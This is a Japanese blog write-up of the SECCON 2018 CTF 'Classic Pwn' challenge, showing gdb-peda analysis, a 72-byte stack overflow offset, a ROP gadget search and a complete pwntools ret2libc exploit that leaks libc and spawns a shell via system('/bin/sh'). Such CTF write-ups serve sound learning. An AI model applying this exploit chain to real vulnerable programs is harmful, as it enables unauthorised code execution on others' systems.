SECCON2018 Classic Pwn 供養

SECCON2018 Classic Pwn

当日は仮想通貨ガチャ回していて取り組めなかったし、取り組んでいてもどのみち解けなかったと思う。最近pwn欲はあまりないが、Classic Pwnくらいは一般教養として復習しておこうと思った。

Classic Pwn

まずはfileコマンドから。

$ file classic_aa9e979fd5c597526ef30c003bffee474b314e22
classic_aa9e979fd5c597526ef30c003bffee474b314e22: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=a8a02d460f97f6ff0fb4711f5eb207d4a1b41ed8, not stripped

次にchecksecの結果を確認。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

強い先輩が、実行ファイルが渡されたらとりあえずバッファオーバーフローさせるか、書式文字列ブチ込めって言っていたのでやってみる。

$ python -c "print('A' * 1000)" | ./classic_aa9e979fd5c597526ef30c003bffee474b314e22

バッファオーバーフローした。 pattcでパターン文字列を使ってオフセットを調べる。

gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ patto "IAAeAA4AAJAAfAA5AAKAAgAA6AAL"
IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72

RSPの値"IAAeAA4AAJAAfAA5AAKAAgAA6AAL"までのオフセットが72バイトであることがわかる。
次に攻撃に利用できそうな関数を探す。探す方法はいくつかあると思うが、以下のコマンドで割と綺麗に探せるようなので実行してみた。

$ objdump -d -M intel -j .plt --no classic_aa9e979fd5c597526ef30c003bffee474b314e22

classic_aa9e979fd5c597526ef30c003bffee474b314e22:     file format elf64-x86-64


Disassembly of section .plt:

0000000000400510 <puts@plt-0x10>:
  400510:   push   QWORD PTR [rip+0x200af2]        # 601008 <_GLOBAL_OFFSET_TABLE_+0x8>
  400516:   jmp    QWORD PTR [rip+0x200af4]        # 601010 <_GLOBAL_OFFSET_TABLE_+0x10>
  40051c:   nop    DWORD PTR [rax+0x0]

0000000000400520 <puts@plt>:
  400520:   jmp    QWORD PTR [rip+0x200af2]        # 601018 <_GLOBAL_OFFSET_TABLE_+0x18>
  400526:   push   0x0
  40052b:   jmp    400510 <_init+0x28>

0000000000400530 <setbuf@plt>:
  400530:   jmp    QWORD PTR [rip+0x200aea]        # 601020 <_GLOBAL_OFFSET_TABLE_+0x20>
  400536:   push   0x1
  40053b:   jmp    400510 <_init+0x28>

0000000000400540 <printf@plt>:
  400540:   jmp    QWORD PTR [rip+0x200ae2]        # 601028 <_GLOBAL_OFFSET_TABLE_+0x28>
  400546:   push   0x2
  40054b:   jmp    400510 <_init+0x28>

0000000000400550 <__libc_start_main@plt>:
  400550:   jmp    QWORD PTR [rip+0x200ada]        # 601030 <_GLOBAL_OFFSET_TABLE_+0x30>
  400556:   push   0x3
  40055b:   jmp    400510 <_init+0x28>

0000000000400560 <gets@plt>:
  400560:   jmp    QWORD PTR [rip+0x200ad2]        # 601038 <_GLOBAL_OFFSET_TABLE_+0x38>
  400566:   push   0x4
  40056b:   jmp    400510 <_init+0x28>

まず、pop rdi -> puts@got -> puts@plt -> mainして libc のベースアドレスをリークさせる。ついでにsystem関数のアドレスも求めておく。

payload = "A" * 72
payload += p64(popret)
payload += p64(elf.got["gets"])
payload += p64(elf.plt["puts"])
payload += p64(elf.symbols["main"]) 
... 
leak_addr = u64(conn.recv(6) + "\x00\x00")
libc_base = leak_addr - libc.symbols["gets"]
system_addr = libc_base + libc.symbols["system"]

"pop rdi; ret"gdb-pedaの中で以下のように調べることができる。

gdb-peda$ b main
Breakpoint 1 at 0x4006ad
gdb-peda$ r
gdb-peda$ ropsearch "pop rdi"
Searching for ROP gadget: 'pop rdi' in: binary ranges
0x00400753 : (b'5fc3')  pop rdi; ret

次にpop rdi->/bin/sh addrしてsystem("/bin/sh")を呼び出しておわり。

payload = "A" * 72
payload += p64(popret)
payload += p64(libc_base + next(libc.search('/bin/sh')))
payload += p64(system_addr)
payload += p64(0xdeadbeef)

最終的に以下のコードを実行してシェルを取り、幸せになったらおわり。 (コードについては こちらのブログのものがわかりやすかったので使わせていただきました。)

from pwn import *

def main():
    conn = process("./classic_aa9e979fd5c597526ef30c003bffee474b314e22")
    elf = ELF("./classic_aa9e979fd5c597526ef30c003bffee474b314e22")
    libc = ELF("./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253")

    popret = 0x400753

    payload = "A" * 72
    payload += p64(popret)
    payload += p64(elf.got["gets"])
    payload += p64(elf.plt["puts"])
    payload += p64(elf.symbols["main"]) 

    conn.recvuntil(">> ")
    conn.sendline(payload)
    conn.recvuntil("Have a nice pwn!!\n")

    leak_addr = u64(conn.recv(6) + "\x00\x00")
    libc_base = leak_addr - libc.symbols["gets"]
    system_addr = libc_base + libc.symbols["system"]
    print "libc_base: " + hex(libc_base)
    print "system_addr: " + hex(system_addr)

    payload = "A" * 72
    payload += p64(popret)
    payload += p64(libc_base + next(libc.search('/bin/sh')))
    payload += p64(system_addr)
    payload += p64(0xdeadbeef)

    conn.recvuntil(">> ")
    conn.sendline(payload)
    conn.interactive()

if __name__ == "__main__":
    main()

おわり。若干消化不良なところもあるので強いパイセンに聞いて追記しようと思う。

参考

http://shift-crops.hatenablog.com/entry/2018/11/05/042149#Classic-Pwn-Exploit-121-197-solves http://ywkw1717.hatenablog.com/entry/2018/10/28/185936 http://yuta1024.hateblo.jp/entry/2018/11/01/215302 https://osanamity.net/2018/11/06/110940